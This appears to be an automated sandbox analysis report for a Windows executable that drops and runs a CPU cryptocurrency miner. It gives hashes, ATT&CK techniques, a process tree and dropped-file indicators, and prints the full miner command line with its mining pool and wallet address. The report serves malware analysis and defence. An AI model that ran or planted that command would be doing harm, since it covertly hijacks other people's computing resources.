73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 03:32

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2920	b2e.exe
4016	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4016	cpuminer-sse2.exe
4016	cpuminer-sse2.exe
4016	cpuminer-sse2.exe
4016	cpuminer-sse2.exe
4016	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3468-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3468 wrote to memory of 2920	3468	batexe.exe	91
PID 3468 wrote to memory of 2920	3468	batexe.exe	91
PID 3468 wrote to memory of 2920	3468	batexe.exe	91
PID 2920 wrote to memory of 3156	2920	b2e.exe	92
PID 2920 wrote to memory of 3156	2920	b2e.exe	92
PID 2920 wrote to memory of 3156	2920	b2e.exe	92
PID 3156 wrote to memory of 4016	3156	cmd.exe	95
PID 3156 wrote to memory of 4016	3156	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Users\Admin\AppData\Local\Temp\61E6.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\61E6.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\61E6.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\64F4.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3156
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\61E6.tmp\b2e.exe

Filesize
5.6MB

MD5
c276587b541315387cfd4ca84d11d84f

SHA1
b327bba7d67176cdb43016fddc5b5c24bf0fec74

SHA256
d20b4abc86e71e946ed8683ba0ceb0076f305f7e2be303c02f5311dad24cb00e

SHA512
94bb2507fc2391c7377ce92f2575efc08d078a9d45990f23c43b426031dfd95a1ed00fa412d56aa2dbc3319325605f640df6c6d71e8c94845b0f64d9cade94a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\61E6.tmp\b2e.exe

Filesize
1.1MB

MD5
c8ddb9a1b99b955d28ce987616dc783a

SHA1
6a50a41aac042de84cbe5fe9cfa8ef171c1a15ba

SHA256
d42d045c7eaec84a0576fa2d1e67566cd65686605e6f66217c2da6ec9faa060a

SHA512
8804aa717bb5d9a88543175afd4ed3363ae6d1ff9846379f9bbfb7ff1b49cf0031fd6b1cbb0b1491a94d1158663021c8bf56c47050f3192b62a0c5bb5499d397

Download Submit
C:\Users\Admin\AppData\Local\Temp\61E6.tmp\b2e.exe

Filesize
1.7MB

MD5
7b9e19cbeef48d1436f80636d98f1e29

SHA1
211ab3ec2dbf56621bfa6e7b4af51f6d59ed7e22

SHA256
ab3065d4cd6d2916257227617fba70a92bdb7b65f474d9a3b5a7910c6791775d

SHA512
cd561dbc1747d3f5e1a799a1d6f13d71150e273835ecfd1f84b00e742b04a23b41daf83db404ef527c1531f665bd6e74a4fc62bc84759208b958a4803063bdae

Download Submit
C:\Users\Admin\AppData\Local\Temp\64F4.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
a1a6102c2b292f5a745cf73f64f726f5

SHA1
2b379df700f71cb9e82802452e3a1197a9133de5

SHA256
562485665f7757eec15051b5a45533fe010d7a4c6b454e35bf879ec06121ab11

SHA512
5acb0df8ebedc577479f19990d768cb944bc415d1c60b8896fc2ec8372adce81e74aa0fb3c457c23e69df86b818e46ea3091d1b5d48e0880b83843038aa65440

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
828e3a8bfa9facda8cd25f5bb24c576e

SHA1
cbca5cf6ec6a0fe5a6f2a39060f07e69f6118adf

SHA256
66fb897cb168f2803917dd19965b17d6dd0c079cab2a219bbfb318684b0fabe5

SHA512
3f40942c9a837cabd921c362d7a145434dc3d712c810621cd9df9087510a3282028f8d103a6018cd1f1b2ae046c70e17a3865458fce61b748c53b7d363917de2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
83120b10de7cd3ddfd83dde21e504f01

SHA1
a4e817984346230a51f6010182dda039f579053b

SHA256
cba95a74f4fac119ec23bb6972df454758129d3d8b5a5f6a01b68b6f1afe1ea2

SHA512
9ada9f23df9ec3ccb5371d1d564bdaa4fb008d6fa524902b5f65979e91d8e558a07978ec4bedfa16a5567ff9051b32d51b4342dd11ecb24b0dfe497db45dda3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
c8cc5519d9b9130734cbb6984f49eb24

SHA1
c64696af4d856549a0defd99ec6858497fc0bbd0

SHA256
5dbe689b2f29e10ecba936091f1053721b5659f14c2ec4295b4e11f167abc8ce

SHA512
40d031d18ed3480814820db131c2137f4df02b62dc4209d6581b792734fe3b9b667128a931427daee7ec5bda8c6c436f276acb7ed13385b16776c7f83db99b80

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
5dc68fa66251f7cab81a1abce4989389

SHA1
acbf12f5ffc29fc837c36f28a835f1821ff9714a

SHA256
51d5d99752ded121bf4dd77b5eb0bafa94d12fb83f559c1977eee076ac16552c

SHA512
8246bcd289be018b45e1e1d3bcbfce8d6729a3151d3a54cec8caf0aa1df92c86bfc83ab4a1a77f20765c4641a4a89c21c678334a1008be8c360167221d551cd6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2920-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2920-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3468-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4016-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-46-0x0000000065B60000-0x0000000065BF8000-memory.dmp

Filesize
608KB

Download
memory/4016-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4016-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4016-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4016-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download